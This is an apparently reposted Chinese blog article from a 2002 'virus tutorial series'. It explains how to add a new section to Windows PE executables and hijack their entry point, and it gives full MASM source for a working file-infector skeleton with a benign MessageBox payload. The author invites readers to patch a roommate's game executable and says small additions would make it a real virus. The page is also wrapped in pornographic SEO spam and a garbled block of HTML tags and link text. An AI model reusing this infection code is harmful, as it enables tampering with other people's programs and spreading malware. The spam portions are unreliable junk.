青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

牽著老婆滿街逛

嚴以律己,寬以待人. 三思而后行.
GMail/GTalk: yanglinbo#google.com;
MSN/Email: tx7do#yahoo.com.cn;
QQ: 3 0 3 3 9 6 9 2 0 .

為PE文件添加新節顯示啟動信息

?

下載本節例子程序和源代碼 (7.66 KB)

病毒并不神秘,也不復雜。相當多的大俠已經在這方面作出了杰出的貢獻,例如 29A 組織,我對他們的崇拜之情啊,真是……咳咳,先別扔雞蛋。其實我想說的是:技術是一柄雙刃劍,我們應該把它運用在對社會有益的事情上。所以請勿利用本文的代碼進行違法違紀的活動,否則本人保留追究的權利。

本文的技術其實早已是老掉牙的東西了,so如果你已經懂得了編寫病毒的方法,請跳過本文;如果你對病毒抱有好奇心,但是還沒知道怎么編寫,那么本文應該適合你。??:)

言歸正傳。在 Windows 環境下,所有的可執行文件都是 PE 格式,因此編寫病毒最重要的環節之一就是對 PE 文件進行操作。但是在此我不打算對 PE 格式進行講解,請讀者自行參考有關資料。我只對我在實際編寫中遇到的難點進行分析:

首先,計算機病毒之所以叫做病毒,是因為它跟自然界中病毒一樣,都需要有一個宿主——它本身是無法單獨執行的。那么,當病毒寄生在宿主上后,怎樣讓它的代碼執行呢?我們先來看一些概念。

PE 的代碼映象分為幾個 SECTION,在文件中會對齊頁邊界(4K)。一般來說,文件會加載在 400000h 開始的空間,而第一個 SECTION 在 401000h 處,同時入口地址也是 401000h。這個入口地址 401000h 是怎么計算出來的呢?如果你查看 PE 頭的 IMAGE_OPTIONAL_HEADER ,就會發現它的 ImageBase 一般是 400000h ,而 AddressOrEntryPoint 一般是 1000h 。 400000 + 1000 = 401000h ,明白了吧?掌握了這一點,我們就可以在 PE 中添加我們自己的新節,然后把這個入口地址改成指向新節的第一條代碼。當新節執行完畢后,再把原入口恢復,這樣一來就能繼續執行宿主的代碼了。

在幾乎每個 Win32 病毒的開頭都有這樣的語句:

????call nStart
nStart:
????popebp
????subebp,offset nStart

這些語句是用來干嘛的呢?好像是吃飽了飯沒事干哦……其實不然。讓我們來仔細考慮一下。當正常的 PE 程序執行時,它的基址(如前所述)一般是 400000h ,這個地址會由操作系統為你重定位,因此總是能保證程序被成功地裝載運行。但是,如果我們在 PE 中插入了一段新的代碼,假設它要從 654321h 處開始執行,那么事情就沒有那么簡單了。因為宿主程序并沒有預料到這段代碼的存在,而操作系統也不可能為你修正這個偏移。因此我們就要自己進行重定位操作。上面的語句就是取得病毒在宿主中的實際偏移地址。Call 指令實際上是 push 和 jmp 的組合。當 call nStart 時,實際上是把 call nStart 的下一條指令(也就是pop ebp)的地址壓入堆棧然后 jmp 到 nStart ,由于之前已經把 pop ebp 的地址壓入了堆棧,所以當真正執行到 pop ebp 這條指令的時候,實際上就是把 pop ebp 這條指令的地址放到了 ebp 中。這樣就得到了當前病毒代碼的真正的偏移地址。這也是病毒中常用的手法。幾乎無一例外。

接下來還有一個關鍵的問題。我們的病毒代碼是附屬在宿主上的,如果要在病毒中使用 API ,則必須首先得到 API 的入口地址。不過這可不是一件容易的事情啊。為什么這樣說呢?讓我們先來看看下面的代碼:

invoke ExitProcess,0

在經過編譯器的編譯、連接后,它在內存中形如:

:00401015????Call0040101A
:0040101A????Jmpdwordptr[00402000]

也就是說,ExitProcess 的調用是通過 Call 0040101A ,而 0040101A 處的代碼是一個 Jmp ,指向 [00402000] ,這個 [00402000] 處儲存的才是真正的 ExitProcess 的入口地址。

為什么要經過那么多周折呢?呵呵,其實我也不知道。但是我們知道的是,調用一個 API 實際上是調用它在內存中的地址。而病毒由于是在宿主編譯完之后才附屬上去的,所以如果病毒要運行 API ,則必須自己指定 API 的入口地址。

是不是很煩呢?Hoho,堅持一下吧,就快大功告成了。

要得到 API 的入口地址,方法有很多種,例如可以通過硬編碼,這是比較簡單的方法,但是它的缺陷是不能在不同的 Windows 版本下運行,不過由于它實現起來比較簡便,因此本文還是采用這種方法。

在同一個版本的 Windows 下,同一個核心函數的入口總是固定不變的(指由 Kernel32, Gdi32, User32 導出的函數),所以我們就可以利用下面的方法得到 API 的入口:

szDllName????????db????"User32",0
szMessageBoxA????db????"MessageBoxA",0
MessageBoxA_Addr dd????0

invoke GetModuleHandle,addr szDllName
invoke LoadLibrary,addr szDllName
invoke GetProcAddress,eax,addr szMessageBoxA
mov MessageBoxA_Addr,eax

在病毒中我們就可以用 Call MessageBoxA_Addr[ebp] 來執行 MessageBoxA 這個 API 了。

好啦,我已經把我認為比較重要的難點解釋了一次了,如果你還有什么不清楚的地方,歡迎給我來信。lcother at 163 dot net

下面我給出了一個例子程序,它的作用是為 PE 文件添加一個新節以顯示啟動信息。這個東東會在 PE 文件的末尾添加一個新節,我給這個節命名為“.LC”,被附加的程序在運行的時候會先彈出一個對話框,顯示我們的提示信息。你可以對它稍作修改,例如加上自己的版權信息,然后給 CS 的主程序打上這個“病毒”,接著……呵呵,等著看舍友的驚訝的目光吧!實際上只要對它進行一些額外的補充,它就可以算是一個小小的病毒了。

值得注意的是,本程序要對代碼段進行寫操作(也就是SMC),所以在編譯連接的時候應該這樣做:

rc Add_Section.rc
ml /c /coff Add_Section.asm
link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj

Have fun!

;***********************************************
;程序名稱:為PE文件添加新節顯示啟動信息
;作者:羅聰
;日期:2002-11-10
;出處:http://www.luocong.com(老羅的繽紛天地)
;本代碼使用了病毒技術,但純粹只用于技術研究。
;切記:請勿用于非法用途!!!!!!
;注意事項:如欲轉載,請保持本程序的完整,并注明:
;轉載自“老羅的繽紛天地”(http://www.luocong.com)
;***********************************************

.386
.modelflat,stdcall
optioncasemap:none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\comdlg32.lib

WndProc??????????proto:DWORD,:DWORD,:DWORD,:DWORD
AddNewSection????proto:DWORD

;很有用的宏:
CTEXT????MACRO y:VARARG
????LOCAL sym
????CONSTsegment
????ifidni<y>,<>????????????
????????sym db0????????
????else????????????
????????sym db y,0
????endif
????CONSTends
????exitm<offset sym>
ENDM

.const
IDI_LC?????????? equ????1
IDC_BUTTON_OPEN??equ????3000
MAXSIZE??????????equ????260
Head_Len???????? equ????sizeof IMAGE_NT_HEADERS +sizeof IMAGE_SECTION_HEADER

.data
szDlgName????????db????"lc_dialog",0
szCaption????????db????"Section Add demo by LC",0
ofn??????????????OPENFILENAME????<>
szFileName?????? db????MAXSIZE dup(0)
szFilterString?? db????"PE 可執行文件",0,"*.exe",0,0
szMyTitle????????db????"請打開一個PE可執行文件…",0
PE_Header????????IMAGE_NT_HEADERS????<0>
My_Section?????? IMAGE_SECTION_HEADER????<>
szDllName????????db????"User32",0
szMessageBoxA????db????"MessageBoxA",0

.data?
hInstance????????HINSTANCE?????

.code
main:
????invoke GetModuleHandle, NULL
????mov hInstance,eax
????invoke DialogBoxParam,eax,offset szDlgName,0, WndProc,0
????invoke ExitProcess,eax

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

????.if uMsg == WM_CLOSE
????????invoke EndDialog, hWnd,0

????.elseif????uMsg == WM_INITDIALOG
????????;設置我的圖標:
????????invoke LoadIcon, hInstance, IDI_LC
????????invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL,eax

????.elseif uMsg == WM_COMMAND
????????moveax, wParam
????????movedx,eax
????????shredx,16
????????movzxeax,ax
????????.ifedx== BN_CLICKED
????????????.ifeax== IDCANCEL
????????????????invoke EndDialog, hWnd, NULL
????????????.elseifeax== IDC_BUTTON_OPEN ||eax== IDOK
????????????????;調用子程序,添加節:
????????????????invoke AddNewSection, hWnd
????????????.endif
????????.endif
????.else
????????moveax, FALSE
????????ret
????.endif
????moveax, TRUE
????ret
WndProc endp

AddNewSection procusesecx hWnd:HWND
????LOCAL hFile: HANDLE
????LOCAL dwPE_Header_OffSet:DWORD
????LOCAL dwFileReadWritten:DWORD
????LOCAL dwMySectionOffSet:DWORD
????LOCAL dwLastSection_SizeOfRawData:DWORD
????LOCAL dwLastSection_PointerToRawData:DWORD

????;“打開文件”對話框:
????mov ofn.lStructSize,sizeof ofn
????push hWnd
????pop ofn.hwndOwner
????push hInstance
????pop ofn.hInstance
????mov ofn.lpstrFilter,offset szFilterString
????mov ofn.lpstrFile,offset szFileName
????mov ofn.nMaxFile, MAXSIZE
????mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER
????mov ofn.lpstrTitle,offset szMyTitle
????invoke GetOpenFileName,addr ofn

????;如果沒有選擇文件名則退出:
????.ifeax==0
????????jmp Err_CreateFile_Exit
????.endif

????;打開文件:
????invoke CreateFile,addr szFileName, GENERIC_READ or GENERIC_WRITE,\
????????????FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
????.ifeax== INVALID_HANDLE_VALUE
????????invoke MessageBox, hWnd, CTEXT("打開文件失敗!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmp Err_CreateFile_Exit
????.endif
????mov hFile,eax

????;****************************************
????;讀取PE文件頭:
????;****************************************
????invoke SetFilePointer, hFile,3ch,0, FILE_BEGIN
????invoke ReadFile, hFile,addr dwPE_Header_OffSet,4,addr dwFileReadWritten, NULL
????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
????invoke ReadFile, hFile,addr PE_Header, Head_Len,addr dwFileReadWritten, NULL

????;****************************************
????;判斷是否有效的PE文件,是的話才繼續:
????;****************************************
????.if[PE_Header.Signature]!= IMAGE_NT_SIGNATURE
????????;如果不是有效的PE文件,就給出提示:
????????invoke MessageBox, hWnd, CTEXT("這不是一個有效的Win32 PE文件!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmpExit
????.endif

????;****************************************
????;判斷是否有足夠空間存儲新節:
????;****************************************
????movzxeax,[PE_Header.FileHeader.NumberOfSections]????;得到添加新節前有多少個節:
????movecx,28h????;28h = sizeof IMAGE_SECTION_HEADER
????mulecx???????? ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
????addeax, dwPE_Header_OffSet????;eax = eax + PE文件頭偏移
????addeax,18h????;18h = sizeof IMAGE_FILE_HEADER
????movzxecx,[PE_Header.FileHeader.SizeOfOptionalHeader]
????addeax,ecx????;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
????addeax,28h????;添加一個新節的大小
????.ifeax>[PE_Header.OptionalHeader.SizeOfHeaders]
????????;不夠的話給出提示:
????????invoke MessageBox, NULL, CTEXT("沒有足夠的空間來加入一個新節!"),addr szCaption, MB_OK or MB_ICONHAND
????????jmpExit
????.endif

????;****************************************
????;保存原入口,后面要用到:
????;****************************************
????moveax,[PE_Header.OptionalHeader.AddressOfEntryPoint]
????mov Old_AddressOfEntryPoint,eax
????moveax,[PE_Header.OptionalHeader.ImageBase]
????mov Old_ImageBase,eax

????;**************************************************
????;計算新節的偏移地址:
????;(其實跟上面的“判斷是否有足夠空間存儲新節”基本上一樣)
????;**************************************************
????movzxeax,[PE_Header.FileHeader.NumberOfSections]
????movecx,28h
????mulecx????????????;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
????addeax,4h????????;4h = sizeof "PE\0\0"
????addeax, dwPE_Header_OffSet
????addeax,sizeof IMAGE_FILE_HEADER
????addeax,sizeof IMAGE_OPTIONAL_HEADER
????mov dwMySectionOffSet,eax????;現在得到了我們的新節的偏移地址

????;****************************************
????;填充我們自己的節的信息:
????;(這部分請查看PE格式,很容易明白,不多說了)
????;****************************************
????movdwordptr[My_Section.Name1],"CL."????;名字就叫做“.LC”吧,呵呵……
????mov[My_Section.Misc.VirtualSize],offset vEnd -offset vStart
????push[PE_Header.OptionalHeader.SizeOfImage]
????pop[My_Section.VirtualAddress]
????moveax,[My_Section.Misc.VirtualSize]
????movecx,[PE_Header.OptionalHeader.FileAlignment]
????cdq
????divecx
????inceax
????mulecx
????mov[My_Section.SizeOfRawData],eax??;SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數倍的值
????moveax, dwMySectionOffSet
????subeax,18h????;這個偏移是定位到最后一節的“SizeOfRawData”
????invoke SetFilePointer, hFile,eax,0, FILE_BEGIN
????invoke ReadFile, hFile,addr dwLastSection_SizeOfRawData,4,addr dwFileReadWritten, NULL
????invoke ReadFile, hFile,addr dwLastSection_PointerToRawData,4,addr dwFileReadWritten, NULL
????;每個節的 PointerToRawData 等于它的上一節的 SizeOfRawData + PointerToRawData:
????moveax, dwLastSection_SizeOfRawData
????addeax, dwLastSection_PointerToRawData
????mov[My_Section.PointerToRawData],eax
????mov[My_Section.PointerToRelocations],0h
????mov[My_Section.PointerToLinenumbers],0h
????mov[My_Section.NumberOfRelocations],0h
????mov[My_Section.NumberOfLinenumbers],0h
????mov[My_Section.Characteristics],0E0000020h????;可讀可寫可執行

????;**************************************************
????;重新寫入IMAGE_SECTION_HEADER:(包含了新節的信息)
????;**************************************************
????invoke SetFilePointer, hFile, dwMySectionOffSet,0, FILE_BEGIN
????invoke WriteFile, hFile,addr My_Section,sizeof IMAGE_SECTION_HEADER,addr dwFileReadWritten, NULL

????;****************************************
????;得到 MessageBoxA 的線性地址:
????;****************************************
????invoke GetModuleHandle,addr szDllName
????invoke LoadLibrary,addr szDllName
????invoke GetProcAddress,eax,addr szMessageBoxA
????mov MessageBoxA_Addr,eax

????;****************************************
????;在文件的最后寫入我們的新節:
????;****************************************
????invoke SetFilePointer, hFile,0,0, FILE_END
????push0
????leaeax, dwFileReadWritten
????pusheax
????push[My_Section.SizeOfRawData]
????leaeax, vStart
????pusheax
????push hFile
????call WriteFile

????;**************************************************
????;改寫IMAGE_NT_HEADERS,使新節可以首先執行:
????;(需要改寫 SizeOfImage 和 AddressOfEntryPoint)
????;**************************************************
????inc[PE_Header.FileHeader.NumberOfSections]
????moveax,[My_Section.Misc.VirtualSize]
????movecx,[PE_Header.OptionalHeader.SectionAlignment]
????cdq
????divecx
????inceax
????mulecx
????addeax,[PE_Header.OptionalHeader.SizeOfImage]
????mov[PE_Header.OptionalHeader.SizeOfImage],eax????;SizeOfImage是一個對齊到SectionAlignment的整數倍的值
????moveax,[My_Section.VirtualAddress]
????mov[PE_Header.OptionalHeader.AddressOfEntryPoint],eax;現在的 AddressOfEntryPoint 是指向新節的第一條指令
????invoke SetFilePointer, hFile, dwPE_Header_OffSet,0, FILE_BEGIN
????invoke WriteFile, hFile,addr PE_Header,sizeof IMAGE_NT_HEADERS,addr dwFileReadWritten, NULL

????;****************************************
????;完成!顯示成功信息:
????;****************************************
????invoke MessageBox, hWnd, CTEXT("添加新節成功!"),addr szCaption, MB_OK or MB_ICONINFORMATION

Exit:
????;關閉文件:
????invoke CloseHandle, hFile
Err_CreateFile_Exit:
????ret
AddNewSection endp

;****************************************
;呵呵,我們自己的東東:(像不像病毒?)
;****************************************
vStart:
????call nStart
nStart:
????popebp
????subebp,offset nStart????;得到新節在文件中的實際偏移地址

????;顯示對話框:
????push MB_OK or MB_ICONINFORMATION
????leaeax, szMyCaption[ebp]
????pusheax
????leaeax, szMyMsg[ebp]
????pusheax
????push0
????call MessageBoxA_Addr[ebp]

????;恢復原入口地址。當這個節執行完畢后,就回到了原來的文件入口處繼續執行:
????moveax, Old_ImageBase[ebp]
????addeax, Old_AddressOfEntryPoint[ebp]
????pusheax
????ret

????;變量定義:
????MessageBoxA_Addr????????dd????0
????szMyMsg???????????????? db????"為PE文件添加新節顯示啟動信息",13,10,13,10,\
??????????????????????????????????"老羅的繽紛天地",13,10,"http://www.LuoCong.com",0
????szMyCaption???????????? db????"老羅的病毒基礎教程系列 by LC",0
????Old_ImageBase?????????? dd????0
????Old_AddressOfEntryPoint dd????0
vEnd:

end main
;********************????over????********************
;by LC


它的資源文件:

#include "resource.h"

#define IDC_STATIC????????-1
#define IDI_LC????????????1
#define IDC_BUTTON_OPEN?? 3000

IDI_LC????ICON????"lc.ico"

LC_DIALOG DIALOGEX 10, 10, 195, 115
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION | WS_SYSMENU
CAPTION "Section Add demo by LC, 2002-11-10"
FONT 9, "宋體", 0, 0, 0x0
BEGIN
????GROUPBOX???????? "Info", IDC_STATIC, 5, 5, 185, 75
????CTEXT????????????"- 為PE文件添加新節顯示啟動信息 -", IDC_STATIC, 10, 20, 175, 10
????CTEXT????????????"-= Virus Tutorial Series =-", IDC_STATIC, 10, 30, 175, 10
????CTEXT????????????"老羅的繽紛天地", IDC_STATIC, 10, 50, 175, 10
????CTEXT????????????"www.LuoCong.com", IDC_STATIC, 10, 60, 175, 10
????DEFPUSHBUTTON????"打開文件(&O)",IDC_BUTTON_OPEN, 70, 90, 55, 15, BS_FLAT | BS_CENTER
END

老羅
2002-11-10

posted on 2006-05-08 17:48 楊粼波 閱讀(426) 評論(0)  編輯 收藏 引用 所屬分類: 文章收藏

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            国产视频在线观看一区二区| 久久久伊人欧美| 欧美性片在线观看| 亚洲视频一二| 在线午夜精品| 国产乱肥老妇国产一区二| 欧美一级视频免费在线观看| 亚洲欧美一区二区视频| 国内精品久久久久影院色| 欧美成人综合网站| 欧美精品乱码久久久久久按摩| 99精品国产福利在线观看免费| 日韩亚洲视频| 韩国美女久久| 亚洲第一精品夜夜躁人人爽| 欧美粗暴jizz性欧美20| 亚洲一区免费看| 午夜欧美不卡精品aaaaa| 在线播放亚洲| 一本色道久久| 一色屋精品亚洲香蕉网站| 亚洲成人在线视频播放| 欧美激情国产高清| 校园春色国产精品| 欧美成人精品1314www| 亚洲一区二区三区视频播放| 欧美一区二粉嫩精品国产一线天| 亚洲高清视频在线| 亚洲视频免费观看| 亚洲国产精品第一区二区| 亚洲一区图片| 亚洲破处大片| 亚洲免费一级电影| 99这里只有精品| 欧美一区二区三区电影在线观看| 99精品视频网| 欧美一区二区三区在线免费观看| 亚洲日本无吗高清不卡| 翔田千里一区二区| 一区二区久久| 久久久久久999| 亚洲欧美大片| 欧美人成免费网站| 蜜臀久久久99精品久久久久久 | 免费在线成人av| 欧美日韩一区二区免费在线观看| 老司机一区二区三区| 国产九九精品视频| 日韩视频免费| 亚洲精品综合| 久久频这里精品99香蕉| 久久精品国产69国产精品亚洲| 欧美日韩成人激情| 欧美二区在线播放| 国内精品久久久久久久影视麻豆| 亚洲视频日本| 亚洲影院免费观看| 欧美日本簧片| 亚洲黄色av一区| 亚洲人成毛片在线播放| 麻豆av福利av久久av| 久久一日本道色综合久久| 国产欧美日韩激情| 亚洲一二三区在线| 亚洲欧美日韩专区| 国产精品国产馆在线真实露脸 | 乱人伦精品视频在线观看| 国产欧美日韩精品在线| 亚洲男人的天堂在线| 亚洲永久免费av| 国产精品久久久久久久久久尿| 亚洲蜜桃精久久久久久久| 99日韩精品| 欧美日韩一区在线观看| 中文精品视频| 久久精品99国产精品酒店日本| 国产毛片一区| 久久久久久九九九九| 欧美成人免费大片| 91久久线看在观草草青青| 你懂的国产精品| 亚洲精品欧美极品| 亚洲一区免费网站| 国产精品中文字幕欧美| 欧美亚洲免费电影| 老色鬼精品视频在线观看播放| 影音先锋国产精品| 欧美mv日韩mv国产网站app| 亚洲精品久久7777| 先锋影院在线亚洲| 欧美日韩美女在线观看| 欧美一区三区二区在线观看| 欧美日韩亚洲国产精品| 亚洲综合日韩在线| 久久一综合视频| 亚洲精品视频免费在线观看| 欧美日韩免费一区二区三区| 亚洲视频在线观看| 噜噜噜久久亚洲精品国产品小说| 亚洲高清视频一区二区| 欧美亚日韩国产aⅴ精品中极品| 亚洲女同精品视频| 欧美电影免费观看网站| 亚洲男人影院| 亚洲电影视频在线| 国产精品yjizz| 久久久久久久一区| 中日韩高清电影网| 欧美激情四色 | 在线观看国产日韩| 欧美日韩在线精品| 久久精品日产第一区二区| 亚洲国产精品综合| 久久成人精品无人区| 亚洲免费大片| 国内精品久久久久影院优| 欧美日精品一区视频| 久久久噜噜噜久久| 亚洲一区久久| 亚洲精品中文字幕女同| 久久香蕉国产线看观看网| 亚洲一级高清| 亚洲精品久久久久久久久久久| 国产精品萝li| 欧美激情第二页| 久热这里只精品99re8久| 亚洲性色视频| 夜夜夜精品看看| 亚洲激情图片小说视频| 久久午夜激情| 欧美一级欧美一级在线播放| 亚洲五月六月| 日韩一本二本av| 亚洲国产日韩一区二区| 国产综合久久| 国产亚洲观看| 国产精品影音先锋| 国产精品美女久久久久aⅴ国产馆| 欧美黑人一区二区三区| 美日韩精品视频| 麻豆精品精华液| 久久久久在线观看| 久久一区免费| 久久综合狠狠| 美女主播一区| 欧美国产极速在线| 欧美大片免费观看| 欧美成人一区二区三区在线观看| 老**午夜毛片一区二区三区| 久久蜜桃精品| 女女同性女同一区二区三区91| 久久视频国产精品免费视频在线| 欧美在线观看一二区| 久久久精品999| 看欧美日韩国产| 免费观看国产成人| 欧美国产日本高清在线| 欧美日韩卡一卡二| 国产精品成av人在线视午夜片| 欧美性事免费在线观看| 国产精品久久久久久久久婷婷| 国产精品久久久久久久久免费桃花| 国产精品久久久久久久久搜平片| 国产精品久久久久久久午夜| 国产日韩综合一区二区性色av| 国产亚洲精品久久久久久| 国内精品久久久久影院薰衣草| 亚洲高清自拍| 亚洲午夜精品在线| 久久精品2019中文字幕| 久久精品男女| 香蕉久久国产| 亚洲一区国产精品| 久久久精品一品道一区| 老司机精品久久| 亚洲高清资源| 一区二区三区精品在线| 欧美在线影院| 欧美巨乳在线| 国产一区二区av| 一本色道久久综合亚洲精品小说 | 国产精品一级在线| 激情六月婷婷久久| 日韩一级黄色片| 欧美中日韩免费视频| 欧美国产在线电影| 亚洲欧美日韩国产成人精品影院| 老司机免费视频一区二区| 欧美日韩中文字幕综合视频 | 欧美黄色网络| 激情懂色av一区av二区av| 一区二区激情视频| 你懂的一区二区| 亚洲综合视频在线| 欧美激情国产精品| 伊人久久亚洲热| 香港成人在线视频| 亚洲美女黄网| 免费91麻豆精品国产自产在线观看| 欧美亚州在线观看|